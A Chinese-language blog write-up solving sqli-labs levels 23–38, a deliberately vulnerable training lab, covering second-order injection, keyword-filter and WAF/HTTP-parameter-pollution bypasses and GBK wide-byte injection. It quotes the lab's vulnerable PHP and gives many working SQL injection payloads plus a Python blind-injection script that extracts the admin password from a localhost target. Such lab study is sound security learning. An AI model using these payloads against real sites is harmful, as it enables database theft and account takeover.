sqli-labs攻关4(Adv)(Less-23_Less-38)

  1. 前言
  2. 一、二次注入(Less-24)
  3. 二、GET型过滤敏感关键字注入(Less-23-Less-28a)
  4. 三、WAF绕过注入(Less-29-Less-31)
  5. 四、宽字节注入(Less-32-Less-38)
  6. 后记

前言

总结完最常见的GET型和POST型的联合查询注入、报错注入、SQL盲注,以及简单POST注入。于是继续总结二次注入、GET型过滤敏感关键字注入、WAF绕过注入、宽字节注入。

一、二次注入(Less-24)

二次注入:攻击者构造的恶意数据存储到数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。
二次注入需要具备的两个条件

  1. 用户向数据库插入恶意语句(即使后端对语句进行了转义,如mysql_escape_stringmysql_real_escape_string转义)
  2. 数据库对自己存储的数据非常放心,直接取出恶意数据给用户

Less-24
猜测这是二次注入,查看源码发现与数据库交互的有注册、登录和改密,即login_create.phplogin.phppass_change.php这三个文件。
login_create.php

$username=  mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);

echo "<font size='3' color='#FFFF00'>";
$sql = "select count(*) from users where username='$username'";

login.php

$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

pass_change.php

$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);

if($pass==$re_pass)
{    
    $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

发现很多传参都被过滤之后,才执行SQL语句,主要利用了mysql_real_escape_string()函数
只有$_SESSION["username"]没有被过滤。这个SQL语句是用来更改密码的。
在这里插入图片描述
mysql_real_escape_string()函数只会过滤以下字符:\x00\n\r\'"\x1a
而注释是不会过滤掉的,所以可以注册一个包含注释符号(如:#)的username,然后用这个username更改密码的时候会被注入到update语句中,更改注释前面的用户名的密码。

假设我们想登录admin账户且不知道账户密码。如果要更改用户名为admin的密码,只需注册一个admin'#用户
在这里插入图片描述
然后登陆,更改密码为1234。看下数据库,发现admin账户的密码被改成了1234
在这里插入图片描述
然后登录框,输入admin 1234就可以登录admin账户了。。。
在这里插入图片描述

二、GET型过滤敏感关键字注入(Less-23-Less-28a)

Less-23(过滤注释)
添加\发现报错,得到闭合方式为'
在这里插入图片描述
测试发现--+#%23都被过滤了,即过滤了注释。
在这里插入图片描述
所以就只能用闭合后面引号的方法,根据报错可以知道语句为id='$ID' limit 0,1
那么可以这样闭合id=1' or '1'='1或者是id=1' and '1'='1
其他注入操作,可以使用联合查询注入或报错注入或延时注入。这里举个爆库的例子
联合查询注入
联合查询前边步骤就不写了。直接爆库

id=-1' union select 1,database(),'3

在这里插入图片描述
报错注入

id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1

在这里插入图片描述
延时注入(SQL盲注)

id=1' and if(length(database())=8,sleep(5),1) and '1'='1
id=1' and if(ascii(substr(database(),1,1))>97,sleep(5),1) and '1'='1

Less-25(过滤了or和and)
单引号报错,依旧是单引号闭合,注释正常。
在这里插入图片描述
根据题目,发现果然是被过滤了and和or。然后看了一下源码怎么写的

function blacklist($id)
{
    $id= preg_replace('/or/i',"", $id);            //strip out OR (non case sensitive)
    $id= preg_replace('/AND/i',"", $id);        //Strip out AND (non case sensitive)
    return $id;
}

发现使用模式修正符ii 在和模式进行匹配时不区分大小写。
所以不可以使用大小写绕过。
在这里插入图片描述
可以用逻辑运算符&&代替and,||代替or。但&要换成%26url编码

id=1' || 1=1--+
id=1' %26%26 1=1--+

当然也可以使用双写绕过aandndoorr
然后其他注入操作呢,依旧可以使用联合查询注入、报错注入,和Less-23类似。
报错注入

id=1' || updatexml(1,concat(0x7e,database(),0x7e),1)--+

在这里插入图片描述
Less-25a(过滤or和and的盲注)
将Less-25的单引号字符型改为整型,然后使用盲注即可,注意双写绕过。
布尔盲注

id=1 || length(database())=8 --+

可以写个脚本,这里直接放上飘零师傅的脚本

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
#url = "http://localhost/sql/Less-25a/?id=2333 || ascii(substr((select database()),%s,1))=%d"
#url = "http://localhost/sql/Less-25a/?id=2333 || ascii(substr((select group_concat(table_name) from infoorrmation_schema.TABLES where TABLE_SCHEMA=database()),%s,1))=%d"
#url = "http://localhost/sql/Less-25a/?id=2333 || ascii(substr((select group_concat(column_name) from infoorrmation_schema.columns where table_name='users'),%s,1))=%d"
url = "http://localhost/sql/Less-25a/?id=2333 || ascii(substr((select passwoorrd from users where username='admin'),%s,1))=%d"
result = ""
# 爆库:select database()
# security
# 爆表:select group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()
# emails,referers,uagents,users
# 爆字段:select group_concat(column_name) from infoorrmation_schema.columns where table_name='users'
# USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password
# 拿数据:select passwoorrd from user where username='admin'
# 2333
for i in range(1,100):
    for j in range(33,127):
        payload = url%(i,j)
        s = requests.get(url=payload)
        if "Your Login name:Dumb" in s.content:
            result += chr(j)
            print result
            break
print result

当然也可以联合查询注入。

id=-1 union select 1,database(),3--+

在这里插入图片描述
Less-26(过滤注释和空格)
题目标题说过滤了注释和空格。测试一下,看看是不是过滤了注释和空格。试了一把,发现还过滤了and和or。
输入

?id=and or 1=1--+#

在这里插入图片描述
然后又查看下源码

function blacklist($id)
{
    $id= preg_replace('/or/i',"", $id);            //strip out OR (non case sensitive)
    $id= preg_replace('/and/i',"", $id);        //Strip out AND (non case sensitive)
    $id= preg_replace('/[\/\*]/',"", $id);        //strip out /*
    $id= preg_replace('/[--]/',"", $id);        //Strip out --
    $id= preg_replace('/[#]/',"", $id);            //Strip out #
    $id= preg_replace('/[\s]/',"", $id);        //Strip out spaces
    $id= preg_replace('/[\/\\\\]/',"", $id);        //Strip out slashes
    return $id;
}

发现过滤了andor单行多行注释正反斜杠/与\ ,空格,没有过滤单引号。
对于注释可以进行单引号闭合,不使用注释;
对于andor可以双写绕过;
对于空格,看大师傅博客,发现了一些方法:

%09 TAB键(水平)
%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
%a0 空格(应该是php转化的时候是一个特殊字符,然后mysql会解释为空白字符)

然后,可以进行明注:联合查询注入、报错注入,也可以进行盲注。
这里我使用%a0代替空格(这里测试下爆库)。
试了若干次。。。发现Windows下无法使用这些特殊字符来替换空格。那就用linux(我用的ubantu)吧。。。

id=0'%a0union%a0select%a02,database(),'3

在这里插入图片描述
Less-26a(过滤注释和空格的盲注)
与Less-26相比,闭合方式变为'),且不会显示报错语句
Less-27(过滤union和select)
标题说过滤了unionselect,我测试后发现还过滤了空格和注释。并且测试发现是单引号闭合
为了更加清楚的知道过滤了什么,查看源码

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);        //strip out /*
$id= preg_replace('/[--]/',"", $id);        //Strip out --.
$id= preg_replace('/[#]/',"", $id);            //Strip out #.
$id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
$id= preg_replace('/select/m',"", $id);        //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
$id= preg_replace('/union/s',"", $id);        //Strip out union
$id= preg_replace('/select/s',"", $id);        //Strip out select
$id= preg_replace('/UNION/s',"", $id);        //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);        //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);        //Strip out Union
$id= preg_replace('/Select/s',"", $id);        //Strip out select
return $id;
}

模式修正符
根据过滤代码,发现大小写类似SelEct,没被过滤。所以大小写绕过即可

id=0'%a0UnIon%a0SelEct%a02,database(),'3

Less-27a(过滤union和select的盲注)
与Less-27相比,不会显示报错语句,闭合方式变成双引号闭合。
闭合方式判断:and 1=1双引号显示正确,and 1=0双引号显示错误。可以大致确定是双引号闭合。
Less-28(有括号的单引号字符型,过滤union和select等)
与Less-27相比,闭合方式变成')闭合。看下源码

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);                //strip out /*
$id= preg_replace('/[--]/',"", $id);                //Strip out --.
$id= preg_replace('/[#]/',"", $id);                    //Strip out #.
$id= preg_replace('/[ +]/',"", $id);                //Strip out spaces.
//$id= preg_replace('/select/m',"", $id);                    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);                //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);        //Strip out UNION & SELECT.
return $id;
}

Less-28a(有括号的单引号字符型,过滤union和select等的盲注)
和Less-28相同。。。看下源码

function blacklist($id)
{
//$id= preg_replace('/[\/\*]/',"", $id);                //strip out /*
//$id= preg_replace('/[--]/',"", $id);                //Strip out --.
//$id= preg_replace('/[#]/',"", $id);                    //Strip out #.
//$id= preg_replace('/[ +]/',"", $id);                //Strip out spaces.
//$id= preg_replace('/select/m',"", $id);                    //Strip out spaces.
//$id= preg_replace('/[ +]/',"", $id);                //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);        //Strip out spaces.
return $id;
}

发现与Less-28相比,很多过滤还被注释了。如果把注释去掉,基本上过滤了所有字符,但是,所有的一次性过滤都能用双写绕过。当然也可以用盲注。

三、WAF绕过注入(Less-29-Less-31)

了解一下WAF
WAF
MYSQL注入天书之服务器两层架构
在SQL注入过程中主流的WAF绕过技术:

1.转换特征字符大小写
2.利用注释绕过
3.编码特征字符绕过
4.分隔重写特征字符绕过
5.利用截断字符绕过
6.变换变量位置绕过
7.针对域名保护的绕近
8.超大数据包绕过
9.转换数据提交方式绕过
10.HPP(HTTP参数污染)绕过

?id=1&id=2

apache(php)解析最后一个参数,即显示id=2的内容。Tomcat(jsp)解析第一个参数,即显示id=1的内容。Tomcat功能类似一个WAF
所以我们要传入两个id,第一个用来欺骗waf,第二个用来传送给apache。
Less-29(基于WAF的一个错误)
测试后发现是单引号闭合。并且没有过滤注释空格引号unsionselectandor
所以尝试直接测试

id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+

在这里插入图片描述
直接报错注入成功。。。。还是再试下吧!于是又试了下联合查询注入

id=0' union select 1,database(),3 --+

依旧成功。。。。最后再试试linux系统下的。。。依旧成功。。。。
Less-30(基于错误的GET型双引号字符型注入)
测试后发现是双引号闭合,将 Less-29的payload的'换成"

id=0” union select 1,database(),3 --+

发现失败了。于是看了下Less-29的标题和Less-30的标题。发现应该涉及了WAF。
查看源码,发现WAF在login.php

//WAF implimentation with a whitelist approach..... only allows input to be Numeric.
//使用白名单方法实现WAF。。。。。只允许输入为数字
function whitelist($input)
{
    $match = preg_match("/^\d+$/", $input);
    if($match)
    {
        //echo "you are good";
        //return $match;
    }
    else
    {    
        header('Location: hacked.php');
        //echo "you are bad";
    }
}



// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
//当受到HPP(HTTP参数污染)时,下面的函数将模拟参数的行为
function java_implimentation($query_string)
{
    $q_s = $query_string;
    $qs_array= explode("&",$q_s);


    foreach($qs_array as $key => $value)
    {
        $val=substr($value,0,2);
        if($val=="id")
        {
            $id_value=substr($value,3,30); 
            return $id_value;
            echo "<br>";
            break;
        }

    }

}

所以waf是只允许输入数字的,我们在输入数字的时候先给waf看然后检测正常后才转发给我们需要访问的页面。然后模拟了HTTP参数污染时,参数的行为。所以应该可以用HTTP参数污染绕过。
这里就不详细分析了。参考飘零师傅的分析即可。
payload

id=1&id=0" union select 1,2,database() --+

在这里插入图片描述
Less-31(Protection with WAF用WAF防护)
闭合方式为"),解法参照Less-30

四、宽字节注入(Less-32-Less-38)

相关概念

单字节字符集: 所有的字符都使用一个字节来表示,比如 ASCII 编码。
多字节字符集: 在多字节字符集中,一部分字节用多个字节来表示,另一部分(可能没有)用单个字节来表示。
两位的多字节字符有一个前导字节和尾字节。 在某个多字节字符集内,前导字节位于某个特定范围内,尾字节也一样。
UTF-8 编码: 是一种编码的编码方式(多字节编码),它可以使用1~4个字节表示一个符号,根据不同的符号而变化字节长度。
常见的宽字节: GB2312、GBK、GB18030、BIG5、Shift_JIS GB2312

前提条件
要有宽字节注入漏洞

  1. 首先要满足目标程序使用双/多字节字符集进行解析
  2. 其次不同字符集范围不一样,可能低位不包含单字节字符集的字符,这样就没办法了,所以要保证在该种字符集范围中包含低字节位,比如 0x5C(01011100) 的字符,即转义符\

原理
宽字节(两字节)带来的安全问题主要是吃ASCII字符(一字节)的现象,使用一些特殊字符来”吃掉“经过转义符 “ \ ” 。
注意

  • 宽字节不只是出现在GBK编码,在PHP中,通过iconv()进行编码转换时,也可能出现宽字节注入。
  • 这里所说的编码问题不是出现在HTML页面编码,而是与数据库的编码形式有关,一般我们在建立一个数据库的时候会让我们选择数据库的编码形式,所以有时候网站虽然是UTF-8写的,但是如果数据库是GBK的形式,也会出现宽字节。

MySQL中用于转义的函数

addslashes、mysql_real_escape_string、mysql_escape_string以及后面在高版本被去除的magic_quote_gpc

绕过方法
因为宽字节注入主要是吃掉 \ ,所以一般时候加一个 %df 这种就可以吃掉,其实加三个%df也可以吃掉,只要是奇数个%df即可。
Less-32(绕过addslashes())
测试后发现单引号双引号都不会报错,并且被\转义了,所以可以用宽字节注入%df'报错。
'被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C 所以 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是運',即%df\’ = %df%5c%27=運'

然后再测试,发现是单引号闭合。于是试了下爆库

id=0%df' union select 1,2,database() --+

在这里插入图片描述
Less-33
跟less-32多大区别,宽字节注入即可。
Less-34(绕过添加斜杠)
POST型的宽字节。

uname=0%df' union select 1,database()#&passwd=&submit=Submit

在这里插入图片描述
Less-35
整型注入,不需要闭合

id=0 union select 1,2,database() --+

Less-36
查看源码,用了函数mysql_real_escape_string(),转义成功返回这些字符串,失败返回false。
宽字节注入,参考Less-32
Less-37
Less-34一样,只是过滤函数不同,使用函数mysql_real_escape_string()
Less-38
参考Less-32

后记

Page-这次又收获了一些注入方法:二次注入、GET型过滤敏感关键字注入、WAF绕过注入、宽字节注入。
继续努力。。


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 qwzf1024@qq.com

×

喜欢就点赞,疼爱就打赏